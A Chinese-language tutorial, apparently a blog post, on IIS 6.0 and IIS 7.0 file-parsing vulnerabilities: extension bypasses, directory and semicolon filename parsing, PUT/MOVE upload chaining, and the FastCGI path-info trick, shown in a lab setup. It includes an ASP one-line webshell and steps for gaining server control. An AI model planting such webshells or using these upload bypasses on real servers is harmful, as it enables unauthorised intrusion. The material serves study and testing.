一、IIS6.0解析漏洞

漏洞一(后缀绕过)
漏洞二(目录解析)
漏洞三(文件解析)
补充(PUT和漏洞三的结合)

二、IIS7.0解析漏洞


IIS6.0解析漏洞

环境搭建:Windows Server 2003

漏洞一:

当目标服务器禁止上传.asp后缀的文件时,可以使用.cer或.asa后缀绕过,这两个后缀名依旧当做asp文件解析执行
例:有peak.cer和peak.asa,其内容都是

<%
response.write("Hello World!")
%>


漏洞二:

在网站中建立*.asp或*.asa的文件夹时,该文件夹中的任何文件都被IIS当做asp文件解析并执行,也可以叫做目录解析
例:在网站根目录中创建一个x.asp文件夹,x.asp文件夹中有个1.txt,1.txt的内容如下

<%
response.write("Hello World!")
%>

结果示意图:


注:这里1.txt的内容可以为一句话,这样,就获得到了目标的服务器权限
例如使用一句话:<%eval request(“peak”)%>

漏洞三:

当IIS处理像*.asp;*.jpg这类特殊的文件名时,会将;后面的内容直接忽略,将;前面的文件当做asp解析执行,这么做主要是为了绕过上传时目标服务器设置的黑名单,也可以称其为文件解析
例:一个peak.asp;jpg或peak.asp;1.jpg,其内容为:<%eval request(“peak”)%>

补充:

可以通过PUT与漏洞三的结合,上传一句话木马文件,并让它以asp解析执行
条件:要有写入权限

1、先在本地写一个一句话,如果目标不让上传.asp,那我们.txt总可以吧,例如上传一个xx.txt,内容:<%eval request(“peak”)%>
如果无法PUT,是因为,你没有给根目录users的写入权限,我这里就直接完全控制了

2、使用软件PUT上传


3、使用软件MOVE移动为特殊文件名

4、最后访问目标文件

访问:

蚁剑连接:

IIS7.0解析漏洞

原理:IIS和Nginx从右向左判断是否认识这个后缀,只要看到认识的后缀,例如:是.php结尾的,交给php处理,当php开启了cgi.cgi_pathinfo=1,就会对文件路径进行修理,何为修理?例如:当php遇到文件路径为xx.jpg/xx.txt/xx.php时,它会先判断xx.jpg/xx.txt/xx.php这个文件是否存在(注意xx.jpg/xx.txt/xx.php是个整体),若xx.jpg/xx.txt/xx.php不存在于,就删除/xx.php,继续向前找,如果xx.jpg/xx.txt存在,那么最后执行的文件就是xx.jpg/xx.txt;如果xx.jpg/xx.txt不存在,就删除/xx.txt,继续向前找,判断xx.jpg是否存在在,以此类推
注:这里的xx.jpg和xx.txt它既是文件,也是目录,因为它里面还有文件嘛,找不到就向上一级找

实验环境:(IIS7.x+php任意版本+FAST-CGI)
Windows Server 2008
phpstudy2018

漏洞利用条件:
1、php.ini里的cgi.cgi_pathinfo=1
2、IIS7.0在FAST-CGI运行模式下

(1)首先安装IIS7.0(记得勾选ASP相关和CGI),然后安装phpstudy,这里我选择如下

(2)然后访问一下IIS页面

(3)先创建一个phpinfo文件测试一下php环境是否搭建成功

(4)再创建一个包含php代码的jpg文件

(5)浏览器访问一下,看看

(6)接下来试试1.jpg/.php文件路径修理来试试

(7)哎呦,无法访问,那我们接下来进行配置,使php文件路径修理生效
我们来修改php.ini文件,设置cgi.cgi_pathinfo=1,并删除注释

(8)最重要的来了,更改网站处理程序映射


确定即可
(9)最后我们利用php文件修理这一特性进行漏洞的执行

http://192.168.100.181/1.jpg/.php
原理:
因为URL最后有.php,所以IIS将1.jpg/.php交给php处理,php修理文件路径1.jpg/.php,发现1.jpg/中的.php不存在于服务器中,所以向前寻找1.jpg,判断1.jpg是否存在,结果存在,那么就把该文件当做php解析代码执行了

文件解析漏洞总结-IIS相关推荐

  1. 文件解析漏洞总结-Nginx

    Nginx解析漏洞 原理:在任意文件名后面添加如/*.php,nginx都会将该文件当做php文件类型,交给php去解析执行 例:xx.jpg,其中源码为<?php phpinfo();?> ...

  2. 哪些服务器曾被发现文件解析漏洞,常见的文件解析漏洞总结

    常见的文件解析漏洞总结 iis解析漏洞 解析漏洞主要是说一些特殊文件被iis,apache,nginx等web容器在特殊情况下被解释成脚本文件格式 ==iis5.x/6.0解析漏洞:== 1,目录解析 ...

  3. 【文件上传漏洞-07】中间件文件解析漏洞概述及实例——Apache、IIS和Nginx

    目录 1 Apache解析漏洞 1.1 概述 1.2 Apache解析漏洞实例 1.2.1 实验目的 1.2.2 实验环境 1.2.3 实验一:验证解析顺序漏洞 1.3 总结 2 IIS 解析漏洞 2 ...

  4. IIS6.0文件解析漏洞原理/复现

    IIS文件解析漏洞原理 IIS6.0存在文件解析漏洞 , 文件名中分号( ; )后面的内容不会被解析 比如 a.asp;jpg 文件 会被IIS解析成 a.asp 这个漏洞是逻辑上的问题,IIS6.0 ...

  5. 【文件上传漏洞11】中间件文件解析漏洞基础知识及实验——Nginx

    目录 1 文件解析漏洞概述 1.1 概述 1.2 Nginx 解析漏洞 1.2.1 空字节解析漏洞 1.2.2 文件名逻辑漏洞 CVE-2013-4547 1.2.3 CGI-PHP 解析漏洞 2 实 ...

  6. 学习笔记文件解析漏洞

    一.概念 文件解析漏洞主要由于网站管理员操作不当或者web服务器自身的漏洞,导致一些特殊文件被IIS.apache.nginx或其他web服务器在某种情况下解释成脚本文件执行 比如网站管理员配置不当, ...

  7. hackmap-[常见的文件解析漏洞总结]

    hackmap-[常见的文件解析漏洞总结] 0.前言 1.Apache解析漏洞 2.IIS解析漏洞 2.1 IIS6.0解析漏洞 2.2 IIS7.0/7.5解析漏洞 3.PHP CGI解析漏洞 3. ...

  8. 上传漏洞防御与IIS6.0文件解析漏洞(防御方法)

    目录 上传类型漏洞的总体防御原则 不同环境上传漏洞的防御方法 一.上传漏洞防御原则 核心思想:确保上传的文件不会被服务器解析成可执行的脚本,进而引发遍离功能设计的意外后果. 限制文件上传类型:白名单结 ...

  9. 文件解析漏洞总结-Apache

    Apache解析漏洞 多后缀名解析:xx.php.xxoo Apache认为一个文件可以有多个后缀名,例如:peak.txt.jpg.xx Apache的解析规则是从后(右)往前(左)依次判断后缀名, ...

最新文章

  1. C#程序如何对接比特币钱包节点?
  2. Java Web 三大框架开发资料
  3. python函数的使用场景_Python——异常(内置异常以及应用场景)
  4. mysql sql执行加载顺序
  5. matlab验证Ross随机过程(第二版)P19页的结果
  6. 计算机软件技能高考好考么,湖北技能高考:上不了本科,优先考虑这4所一档高职...
  7. hrsc2016 下载 数据集_PIoU Loss:倾斜目标检测专用损失函数,公开超难倾斜目标数据集Retail50K | ECCV 2020 Spotlight...
  8. php如何制作列表翻页,php 生成翻页链接(页码)列表的函数
  9. (转)比特币核心钱包(Bitcoin Core)入门使用教程
  10. 【优化算法】蛾群优化算法(MSA)【含Matlab源码 1807期】
  11. 芝麻二维码,安卓和苹果二维码合并和统计工具
  12. 迅雷精简版依托迅雷强大的P2P资源网络和独特的下载技术
  13. OpenGLCG技术之Render To Texture
  14. 电脑查看wifi密码
  15. 「 神器 」极简网速监控悬浮窗软件
  16. 香橙派基于翔云的人脸识别
  17. 卷三十一 汉纪二十三
  18. 重写虫虫项目犯的低级错误
  19. 荣耀v30能用鸿蒙吗,荣耀30、V30和20系列等用户有福啦
  20. 深入理解RPC-RPC要解决的核心问题和在企业服务中的地位

热门文章

  1. 漫画: 什么是外部排序?
  2. Lucene学习总结之八:Lucene的查询语法,JavaCC及QueryParser
  3. scala使用zip合并两个集合为二元组集合
  4. 磁盘的顺序读写与随机读写详解
  5. 网络设备监控-Catic添加H3C的监控图解
  6. 用简单的方法构建一个高可用服务端
  7. POS开发问题 - 多个弹出框的实现
  8. 聊聊 KVC 和 KVO 的高阶应用
  9. nginx的常规配置
  10. 使用MyEclipse构建MAVEN项目 - 我的漫漫程序之旅 - BlogJava